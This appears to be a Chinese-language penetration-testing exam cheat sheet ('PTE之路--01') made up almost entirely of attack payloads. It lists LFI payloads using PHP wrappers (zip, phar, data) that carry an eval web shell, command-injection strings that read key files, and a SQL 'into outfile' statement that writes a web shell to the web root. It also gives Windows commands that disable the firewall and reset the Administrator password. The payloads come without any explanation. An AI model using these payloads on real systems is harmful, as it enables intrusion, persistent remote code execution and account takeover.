PTE之路--01
空格绕过:/**/ URL编码
伪协议:
page=zip://xxx/xx/x/x/xxx.jpg%23解压后的名字
page=phar://xxx/xx/x/x/xxx.jpg/解压后的名字
page=ddata://ata://text/plain,<?php @eval($_POST['x']) ;?>
page=data://text/plain,<?php @eval($_POST['x']) ;?>
127.0.0.1 | grep . ../key.php 有空格
127.0.0.1 && c\at ../key*
select '<?php @eval($_POST["x"]);?>' into outfile 'C:/wamp/www/shell.php';
net firewall set opmode disable
net user Administrator ~1Qa
